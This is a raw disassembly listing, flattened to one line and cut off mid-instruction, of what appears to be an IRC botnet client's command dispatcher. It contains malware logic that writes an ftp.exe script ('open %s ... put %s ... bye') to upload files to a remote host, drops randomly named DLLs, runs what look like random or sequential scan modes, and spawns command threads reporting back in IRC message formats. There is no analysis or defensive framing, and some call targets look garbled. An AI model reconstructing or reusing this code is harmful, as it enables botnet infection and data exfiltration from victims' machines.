sub_401ACD+577Cj call near ptr 2660882h nop push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 2670678h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 1 mov [ebp+var_36C], eax jnb short loc_40748D push 1 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431410, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431410 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431410[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 2660882h push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h nop call near ptr 2660000h jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2660882h push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2660000h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj call near ptr 2660882h nop push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h call near ptr 2660000h nop jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2660882h push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2660000h nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2660882h push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 2660000h jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 2660882h push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2660000h jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call near ptr 2660882h nop push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2660000h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2660882h push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 2660000h nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2660882h push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h call near ptr 2660000h nop jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2660882h push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 2680B21h test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h call near ptr 2660000h nop jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j nop call near ptr 2660882h push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 